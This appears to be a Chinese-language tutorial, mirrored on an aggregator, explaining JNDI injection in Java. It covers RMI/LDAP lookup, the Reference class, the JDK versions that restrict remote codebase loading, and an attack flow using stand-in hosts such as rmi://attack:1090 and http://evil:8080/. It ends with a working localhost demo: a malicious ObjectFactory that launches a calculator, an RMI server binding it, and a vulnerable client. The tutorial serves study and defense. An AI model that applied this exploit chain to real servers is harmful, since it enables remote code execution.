1

JNDI注入

 8 months ago
source link: https://joker-vip.github.io/2023/05/12/JNDI%E6%B3%A8%E5%85%A5/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

1. JDNI注入

本篇文章作者jok3r0x,本文属i春秋原创奖励计划,未经许可禁止转载。

1.1. 背景知识

1.1.1. JNDI Service Provider

JNDI 与 JNDI Service Provider 的关系类似于 Windows 中 SSPI 与 SSP 的关系。前者是统一抽象出来的接口,而后者是对接口的具体实现。如默认的 JNDI Service ProviderRMI/LDAP 等等。

1.1.2. ObjectFactory

每一个 Service Provider 可能配有多个 Object FactoryObject Factory 用于将 Naming Service(如 RMI/LDAP)中存储的数据转换为 Java 中可表达的数据,如 Java 中的对象或 Java 中的基本数据类型。 JNDI 的注入的问题就出在了可远程下载自定义的 ObjectFactory 类上。你如果有兴趣的话可以完整看一下 Service Provider 是如何与多个 ObjectFactory 进行交互的。

1.2. JNDI概述

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。

JNDI是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,就像人的名字或DNS中的域名与IP的关系。

JNDI由JNDI API命名管理JNDI SPI(service provider interface)服务提供的接口组成。我们的应用可以通过JNDI的API去访问相关服务提供的接口

img

JDNI的服务是可以拓展的,可以从JNDI页面下载其他服务提供商,也可以从远程获得其他服务提供商 JDK包括以下命名/目录服务的服务:

  • 轻型目录访问协议(ldap)
  • 通用对象请求代理体系结构(CORBA),通用对象服务(COS)名称服务
  • Java远程方法调用(RMI)注册表
  • 域名服务(DNS)

Java命名和目录接口(JNDI)是一种Java API,类似一个索引中心,它允许客户端通过name发现和查找数据和对象。其应用场景比如:动态加载数据库配置文件,从而保持数据库代码不变动等。

代码格式如下:

//指定需要查找name名称
String jndiName= "Test";

//初始化默认环境
Context context = new InitialContext();

//查找该name的数据
DataSource ds = (DataSourse)context.lookup(jndiName);

这里的jndiName变量的值可以是上面的命名/目录服务列表里面的值,如果JNDI名称可控的话可能会被攻击。

那上面提到的命名目录是什么?

  • 命名服务:命名服务是一种简单的键值对绑定,可以通过键名检索值,RMI就是典型的命名服务
  • 目录服务:目录服务是命名服务的拓展。它与命名服务的区别在于它可以通过对象属性来检索对象

举个例子:比如你要在某个学校里里找某个人,那么会通过:年级->班级->姓名这种方式来查找,年级、班级、姓名这些就是某个人的属性,这种层级关系就很像目录关系,所以这种存储对象的方式就叫目录服务。LDAP是典型的目录服务

其实,仔细一琢磨就会感觉其实命名服务与目录服务的本质是一样的,都是通过键来查找对象,只不过目录服务的键要灵活且复杂一点。

在一开始很多人都会被jndi、rmi这些词汇搞的晕头转向,而且很多文章中提到了可以用jndi调用rmi,就更容易让人发昏了。我们只要知道jndi是对各种访问目录服务的逻辑进行了再封装,也就是以前我们访问rmi与ldap要写的代码差别很大,但是有了jndi这一层,我们就可以用jndi的方式来轻松访问rmi或者ldap服务,这样访问不同的服务的代码实现基本是一样的。一图胜千言:

image-20230512105627919

从图中可以看到jndi在访问rmi时只是传了一个键foo过去,然后rmi服务端返回了一个对象,访问ldap这种目录服务时,传过去的字符串比较复杂,包含了多个键值对,这些键值对就是对象的属性,LDAP将根据这些属性来判断到底返回哪个对象。

1.3. JNDI类

在Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:

//主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;
javax.naming

//主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.directory

//在命名目录服务器中请求事件通知;
javax.naming.event

//提供LDAP支持;
javax.naming.ldap

//允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
javax.naming.spi

1.3.1. InitialContext类

在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。

//构建一个初始上下文。
InitialContext()

//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy)

//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment)
InitialContext initialContext = new InitialContext();
//将名称绑定到对象。
bind(Name name, Object obj)

//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name)

//检索命名对象。
lookup(String name)

//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj)

//取消绑定命名对象。
unbind(String name)
package org.example;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class Client
{
public static void main( String[] args ) throws NamingException, RemoteException {
String uri = "rmi://127.0.0.1:1099/test";
InitialContext initialContext = new InitialContext();
HelloInterface helloInterface = (HelloInterface) initialContext.lookup(uri);
System.out.println(helloInterface.says("hello"));
}
}

1.3.2. Reference类

该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。

在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。具体可以查看Java技术回顾之JNDI:命名和目录服务基本概念

//为类名为“className”的对象构造一个新的引用。  
Reference(String className)

//为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr)

//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)

//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
Reference(String className, String factory, String factoryLocation)
String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);

在使用Reference时,我们可以直接将对象传入构造方法中,当被调用时,对象的方法就会被触发,创建Reference实例时几个比较关键的属性:

参数1:className - 远程加载时所使用的类名

参数2:classFactory - 加载的class中需要实例化类的名称

参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议

Reference类表示对存在于命名/目录系统以外的对象的引用。如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。

Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。

补充

void add(int posn, RefAddr addr) 
将地址添加到索引posn的地址列表中。
void add(RefAddr addr)
将地址添加到地址列表的末尾。
void clear()
从此引用中删除所有地址。
RefAddr get(int posn)
检索索引posn上的地址。
RefAddr get(String addrType)
检索地址类型为“addrType”的第一个地址。
Enumeration<RefAddr> getAll()
检索本参考文献中地址的列举。
String getClassName()
检索引用引用的对象的类名。
String getFactoryClassLocation()
检索此引用引用的对象的工厂位置。
String getFactoryClassName()
检索此引用引用对象的工厂的类名。
Object remove(int posn)
从地址列表中删除索引posn上的地址。
int size()
检索此引用中的地址数。
String toString()
生成此引用的字符串表示形式。

1.4. JNDI代码实现

在JNDI中提供了绑定和查找的方法

  • bind(Name name, Object obj) :将名称绑定到对象中
  • lookup(String name): 通过名字检索执行的对象

1.4.1. 实现过程

类似rmi的实现过程,只不过最后绑定和检索的时候有一点差别。

  • 定义远程接口
  • 服务端实现远程接口
  • 服务端注册远程对象
  • 客户端调用接口

1.4.2. 实现举例

HelloInterface.class(定义远程接口)

package org.example;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface HelloInterface extends Remote {
String says (String name) throws RemoteException;
}

HelloImpl.class(HelloInterface远程接口实现类)

package org.example;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements HelloInterface{
protected HelloImpl() throws RemoteException {
}

@Override
public String says(String name) throws RemoteException {
return "test " + name;
}
}

Server.class(注册远程对象并绑定)

package org.example;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.util.Properties;

public class Server {

public static void main(String[] args) throws RemoteException, AlreadyBoundException, NamingException {
//配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");

//初始化环境
InitialContext ctx = new InitialContext(env);

// 创建一个注册表
LocateRegistry.createRegistry(1099);

// 远程调用对象
HelloInterface hello = new HelloImpl();

// 绑定
ctx.bind("test", hello);
}
}

Client.class(远程调用)

package org.example;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class Client
{
public static void main( String[] args ) throws NamingException, RemoteException {
//初始化环境
InitialContext init = new InitialContext();
//JNDI的方式获取远程对象
HelloInterface hello = (HelloInterface) init.lookup("rmi://127.0.0.1:1099/test");
// 调用方法
System.out.println(hello.says("123"));
}
}

image-20230512105732076

1.5. JNDI动态协议转换

我们上面的demo提前配置了jndi的初始化环境,还配置了Context.PROVIDER_URL,这个属性指定了到哪里加载本地没有的类,所以,上面的demo中 init.lookup("rmi://127.0.0.1:1099/test")这一处代码改为init.lookup("test")也是没啥问题的。

那么动态协议转换是个什么意思呢?其实就是说即使提前配置了Context.PROVIDER_URL属性,当我们调用lookup()方法时,如果lookup方法的参数像demo中那样是一个uri地址,那么客户端就会去lookup()方法参数指定的uri中加载远程对象,而不是去Context.PROVIDER_URL设置的地址去加载对象(如果感兴趣可以跟一下源码,可以看到具体的实现)。

正是因为有这个特性,才导致当lookup()方法的参数可控时,攻击者可以通过提供一个恶意的url地址来控制受害者加载攻击者指定的恶意类。

但是你以为直接让受害者去攻击者指定的rmi注册表加载一个类回来就能完成攻击吗,是不行的,因为受害者本地没有攻击者提供的类的class文件,所以是调用不了方法的,所以我们需要借助接下来要提到的东西。

1.6. JNDI Naming Reference

Reference类表示对存在于命名/目录系统以外的对象的引用。如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。

Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。

在使用Reference时,我们可以直接将对象传入构造方法中,当被调用时,对象的方法就会被触发,创建Reference实例时几个比较关键的属性:

  • className:远程加载时所使用的类名;
  • classFactory:加载的class中需要实例化类的名称;
  • classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

当然,要把一个对象绑定到RMI注册表中,这个对象需要继承UnicastRemoteObject,但是Reference没有继承它,所以我们还需要封装一下它,用 ReferenceWrapper 包裹一下Reference实例对象,这样就可以将其绑定到RMI注册表,并被远程访问到了

// 第一个参数是远程加载时所使用的类名
// 第二个参数是要加载的类的完整类名(这两个参数可能有点让人难以琢磨,往下看你就明白了)
// 第三个参数就是远程class文件存放的地址了
Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:8888/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

当有客户端通过lookup("refObj")获取远程对象时,获取的是一个Reference存根(Stub),由于是Reference的存根,所以客户端会现在本地的classpath中去检查是否存在类refClassName,如果不存在则去指定的url(http://example.com:8888/refClassName.class)动态加载,并且调用`insClassName`的**无参构造函数**,所以**可以在构造函数里写恶意代码。当然除了在无参构造函数中写利用代码,还可以利用java的 static代码块 来写恶意代码,因为static代码块的代码在class文件被加载过后就会立即执行,且只执行一次。**

了解更多关于static代码块,参考:https://www.cnblogs.com/panjun-donet/archive/2010/08/10/1796209.html

1.7. JNDI注入

1.7.1. JNDI注入原理

就是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行

image-20230512110224374

1.7.2. JNDI注入的利用条件

  • 客户端的lookup()方法的参数可控
  • 服务端在使用Reference类时,classFactoryLocation参数可控

上面两个都是在编写程序时可能存在的脆弱点(任意一个满足就行),除此之外,jdk版本在JNDI注入中也起着至关重要的作用,而且不同的攻击Payload对jdk的版本要求也不一致,这里就全部列出来:

  • JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端JVM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
  • JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMICORBA协议使用远程codebase的选项,因此RMICORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
  • JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

可以看出RMI的Codebase限制明显比LDAP多,所以我们在日站的时候,最好也是用LDAP来进行注入。

1.7.3. JNDI注入攻击流程

  1. 攻击者通过可控url触发动态协议转换(rmi://attack:1090/Exploit)
  2. 受害者服务器原上下文环境被转换为rmi://attack:1090/Exploit
  3. 受害者服务器去rmi://attack:1090/Exploit请求绑定对象Exploit,攻击者实现准备好的RMI服务器返回一个ReferenceWrapper对象(Reference("Class1","Class2","http://evil:8080/"))
  4. 应用获取到ReferenceWrapper开始在本地查找Class1,发现无,则去请求http://evil:8080/Class2.class
  5. web服务器返回事先准备好的恶意class文件,受害者服务器调用Class2的构造方法,恶意代码执行

1.7.4. JNDI注入举例

创建恶意类Evil(不能带package)

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.Hashtable;

public class Evil implements ObjectFactory { // 实现接口ObjectFactory,不然会报错,虽然不影响执行
public Evil() throws IOException { // 构造方法,加载时会自动调用
exec("open -na Calculator");
}

public static void exec(String cmd) throws IOException {
Process runcmd = Runtime.getRuntime().exec(cmd);
InputStreamReader inputStreamReader = new InputStreamReader(runcmd.getInputStream());
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
String tmp;
while ((tmp = bufferedReader.readLine()) != null){
System.out.println(tmp);
}
inputStreamReader.close();
bufferedReader.close();
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

常见RMI服务端,绑定恶意的Reference到rmi注册表

package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.io.IOException;
import java.rmi.registry.LocateRegistry;
import java.util.Properties;

public class App {

public static void main(String[] args) throws IOException, NamingException {
//配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");

//初始化环境
InitialContext ctx = new InitialContext(env);

// 创建一个注册表
LocateRegistry.createRegistry(1099);

// 绑定恶意的Reference到rmi注册表
// 注意,classFactoryLocation地址后面一定要加上/ 如果不加上/,那么则向web服务请求恶意字节码的时候,则会找不到该字节码
Reference reference = new Reference("Evil", "Evil", "http://127.0.0.1:8888/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
ctx.bind("evil", referenceWrapper);

}
}

image-20230512110359745

客户端远程调用evil对应类

package org.example;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
public static void main(String[] args) throws NamingException {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", String.valueOf(true)); // 参考上面的利用条件,低版本不需要设置
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", String.valueOf(true)); // 参考上面的利用条件,低版本不需要设置

//初始化环境
InitialContext init = new InitialContext();
// 远程调用evil,然后找不到服务端类Evil,就会调用http://127.0.0.1:8888/Evil.class
init.lookup("rmi://127.0.0.1:1099/evil");
}
}

1.8. 参考


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK